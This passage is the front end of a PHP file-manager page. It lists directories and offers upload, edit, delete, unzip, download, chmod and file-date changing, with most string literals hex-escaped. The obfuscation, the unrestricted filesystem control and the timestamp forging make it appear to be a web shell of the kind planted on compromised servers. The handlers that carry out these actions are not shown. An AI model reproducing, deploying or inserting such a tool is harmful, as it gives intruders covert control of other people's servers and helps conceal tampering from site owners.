            <div class="toolbar" style="padding: 20px 0;">
                <button onclick="document.getElementById('uploadModal').style.display='flex'" class="btn btn-primary"><?= icon("\x75\x70\x6c\x6f\x61\x64") ?> Upload</button>
                <button onclick="openCreateModal('file')" class="btn btn-secondary"><?= icon("\x70\x6c\x75\x73") ?> New File</button>
                <button onclick="openCreateModal('folder')" class="btn btn-secondary"><?= icon("\x66\x6f\x6c\x64\x65\x72") ?> New Folder</button>
                <div style="flex:1"></div>
                <button type="button" onclick="confirmDelete()" class="btn btn-danger"><?= icon("\x74\x72\x61\x73\x68") ?> Delete Selected</button>
            </div>

            <!-- FILE TABLE -->
            <form method="post" id="deleteForm">
                <input type="hidden" name="action" value="delete">
                <table class="file-table">
                    <thead>
                        <tr>
                            <th width="30"><input type="checkbox" onclick="toggleSelectAll(this)"></th>
                            <th>Name</th>
                            <th width="100">Size</th>
                            <th width="80">Perms</th>
                            <th width="140">Date</th>
                            <th width="160">Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Go Up Link -->
                        <?php if ($currentPath !== $rootPath): ?>
                        <tr>
                            <td></td>
                            <td colspan="4">
                                <a href="?path=<?= urlencode(dirname($currentPath)) ?>" class="name-cell">
                                    <span class="file-icon"><?= icon("\x66\x6f\x6c\x64\x65\x72") ?></span> ..
                                </a>
                            </td>
                        </tr>
                        <?php endif; ?>

                        <?php foreach ($files as $f): ?>
                        <tr>
                            <td><input type="checkbox" name="selected_files[]" value="<?= p($f["\x6e\x61\x6d\x65"]) ?>"></td>
                            <td>
                                <a href="<?= $f["\x74\x79\x70\x65"] === "\x64\x69\x72" ? "\x3f\x70\x61\x74\x68\x3d".urlencode($f["\x70\x61\x74\x68"]) : "\x3f\x65\x64\x69\x74\x3d".urlencode($f["\x70\x61\x74\x68"]) ?>" class="name-cell">
                                    <span class="file-icon <?= $f["\x74\x79\x70\x65"] ?>"><?= icon($f["\x74\x79\x70\x65"] === "\x64\x69\x72" ? "\x66\x6f\x6c\x64\x65\x72" : "\x66\x69\x6c\x65") ?></span>
                                    <?= p($f["\x6e\x61\x6d\x65"]) ?>
                                </a>
                            </td>
                            <td><?= $f["\x73\x69\x7a\x65"] ?></td>
                            <td><span class="badge"><?= $f["\x70\x65\x72\x6d\x73"] ?></span></td>
                            <td style="font-size: 11px; color: var(--text-muted);"><?= date("\x59\x2d\x6d\x2d\x64\x20\x48\x3a\x69", $f["\x6d\x74\x69\x6d\x65"]) ?></td>
                            <td>
                                <div class="actions">
                                    <button type="button" class="icon-btn" onclick="renameItem('<?= p($f["\x6e\x61\x6d\x65"]) ?>')" title="Rename"><?= icon("\x65\x64\x69\x74") ?></button>
                                    <button type="button" class="icon-btn" onclick="touchItem('<?= p($f["\x6e\x61\x6d\x65"]) ?>', '<?= date("\x59\x2d\x6d\x2d\x64\x5c\x54\x48\x3a\x69", $f["\x6d\x74\x69\x6d\x65"]) ?>')" title="Change Date"><?= icon("\x63\x6c\x6f\x63\x6b") ?></button>
                                    <button type="button" class="icon-btn" onclick="chmodItem('<?= p($f["\x6e\x61\x6d\x65"]) ?>', '<?= $f["\x70\x65\x72\x6d\x73"] ?>')" title="Chmod"><?= icon("\x6c\x6f\x63\x6b") ?></button>
                                    <?php if ($f["\x74\x79\x70\x65"] !== "\x64\x69\x72"): ?>
                                        <a href="?download=<?= urlencode($f["\x70\x61\x74\x68"]) ?>" class="icon-btn" title="Download"><?= icon("\x64\x6f\x77\x6e\x6c\x6f\x61\x64") ?></a>
                                        <?php if (strtolower(pathinfo($f["\x6e\x61\x6d\x65"], PATHINFO_EXTENSION)) === "\x7a\x69\x70" && extension_loaded("\x7a\x69\x70")): ?>
                                            <button type="button" class="icon-btn" onclick="unzipItem('<?= p($f["\x6e\x61\x6d\x65"]) ?>')" title="Unzip"><?= icon("\x61\x72\x63\x68\x69\x76\x65") ?></button>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                        
                         <!-- Home Text Link at Bottom -->
                        <tr>
                            <td colspan="5" style="text-align: center; padding: 20px;">
                                <a href="?path=<?= urlencode(realpath(__DIR__)) ?>" class="btn btn-secondary" style="display: inline-flex; width: auto; justify-content: center;">
                                    <?= icon("\x68\x6f\x6d\x65") ?> Home Directory
                                </a>
                            </td>
                        </tr>
                    </tbody>
                </table>
            </form>
        <?php endif; ?>
    </div>
</div>

<!-- MODALS -->

<!-- Upload Modal -->
<div id="uploadModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Upload Files</h3>
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="uploads[]" multiple style="margin-bottom: 15px;">
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('uploadModal').style.display='none'">Cancel</button>
                <button type="submit" name="upload" class="btn btn-primary">Upload</button>
            </div>
        </form>
    </div>
</div>

<!-- Create Modal -->
<div id="createModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3 id="createTitle">Create New</h3>
        <form method="post">
            <input type="text" name="name" placeholder="Name" style="margin-bottom: 15px;" required>
            <input type="hidden" name="create" id="createType">
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('createModal').style.display='none'">Cancel</button>
                <button type="submit" class="btn btn-primary">Create</button>
            </div>
        </form>
    </div>
</div>

<!-- Chmod Modal -->
<div id="chmodModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Change Permissions</h3>
        <form method="post">
            <input type="hidden" name="action" value="chmod">
            <input type="hidden" name="file" id="chmodFile">
            <input type="text" name="perms" id="chmodPerms" placeholder="0755" style="margin-bottom: 15px;" required pattern="[0-7]{3,4}">
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('chmodModal').style.display='none'">Cancel</button>
                <button type="submit" class="btn btn-primary">Save</button>
            </div>
        </form>
    </div>
</div>

<!-- Touch Modal -->
<div id="touchModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Change Date</h3>
        <form method="post">
            <input type="hidden" name="action" value="touch">
            <input type="hidden" name="file" id="touchFile">
            <input type="datetime-local" name="datetime" id="touchDate" style="margin-bottom: 15px;" required step="1">
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('touchModal').style.display='none'">Cancel</button>
                <button type="submit" class="btn btn-primary">Save</button>
            </div>
        </form>
    </div>
</div>

    </div>
</div>

<!-- Rename Modal -->
<div id="renameModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Rename Item</h3>
        <form method="post">
            <input type="hidden" name="action" value="rename">
            <input type="hidden" name="oldname" id="renameOldName">
            <input type="text" name="newname" id="renameNewName" placeholder="New Name" style="margin-bottom: 15px;" required>
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('renameModal').style.display='none'">Cancel</button>
                <button type="submit" class="btn btn-primary">Save</button>
            </div>
        </form>
    </div>
</div>

<!-- Delete Confirmation Modal -->
<div id="deleteModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Confirm Delete</h3>
        <p>Are you sure you want to delete the selected items?</p>
        <div style="text-align: right; margin-top: 20px;">
            <button type="button" class="btn btn-secondary" onclick="document.getElementById('deleteModal').style.display='none'">Cancel</button>
            <button type="button" class="btn btn-danger" onclick="document.getElementById('deleteForm').submit()">Delete</button>
        </div>
    </div>
</div>



<!-- Unzip Hidden Form -->
<form method="post" id="unzipForm" style="display:none;">
    <input type="hidden" name="action" value="unzip">
    <input type="hidden" name="file" id="unzipFile">
</form>

<script>
function toggleSelectAll(source) {
    document.getElementsByName("selected_files[]").forEach(cb => cb.checked = source.checked);
}

function openCreateModal(type) {
    document.getElementById('createTitle').innerText = 'Create New ' + (type === 'file' ? 'File' : 'Folder');
    document.getElementById('createType').value = type;
    document.getElementById('createModal').style.display = 'flex';
    document.querySelector('#createModal input[type="text"]').focus();
}

function renameItem(oldName) {
    document.getElementById('renameOldName').value = oldName;
    document.getElementById('renameNewName').value = oldName;
    document.getElementById('renameModal').style.display = 'flex';
    document.getElementById('renameNewName').focus();
}

function unzipItem(fileName) {
    if (confirm("Are you sure you want to unzip " + fileName + " here?")) {
        document.getElementById('unzipFile').value = fileName;
        document.getElementById('unzipForm').submit();
    }
}

function touchItem(fileName, currentData) {
    document.getElementById('touchFile').value = fileName;
    document.getElementById('touchDate').value = currentData;
    document.getElementById('touchModal').style.display = 'flex';
}

function confirmDelete() {
    const checked = document.querySelectorAll('input[name="selected_files[]"]:checked');
    if (checked.length === 0) {
        alert("Please select files to delete.");
        return;
    }
    document.getElementById('deleteModal').style.display = 'flex';
}

function chmodItem(fileName, currentPerms) {
    document.getElementById('chmodFile').value = fileName;
    document.getElementById('chmodPerms').value = currentPerms;
    document.getElementById('chmodModal').style.display = 'flex';
    document.getElementById('chmodPerms').focus();
}

// Success Popup Check
window.onload = function() {
    const urlParams = new URLSearchParams(window.location.search);
    const msg = urlParams.get('msg');
    
    const messages = {
        'created': 'Success: Item Created',
        'saved': 'Success: File Saved',
        'uploaded': 'Success: File(s) Uploaded',
        'deleted': 'Success: Item(s) Deleted',
        'unzipped': 'Success: Archive Extracted',
        'date_changed': 'Success: Date Updated',
        'perms_changed': 'Success: Permissions Updated'
    };

    if (messages[msg]) {
        const div = document.createElement('div');
        div.style.position = 'fixed';
        div.style.bottom = '20px';
        div.style.right = '20px';
        div.style.background = 'var(--accent)';
        div.style.color = '#fff';
        div.style.padding = '12px 24px';
        div.style.borderRadius = '6px';
        div.style.boxShadow = '0 4px 6px rgba(0,0,0,0.3)';
        div.style.zIndex = '1000';
        div.textContent = messages[msg];
        document.body.appendChild(div);
        setTimeout(() => div.remove(), 3000);
    }
};

function toggleSidebar() {
    document.querySelector('.sidebar').classList.toggle('open');
    document.querySelector('.mobile-overlay').classList.toggle('open');
}
</script>

</body>
</html>
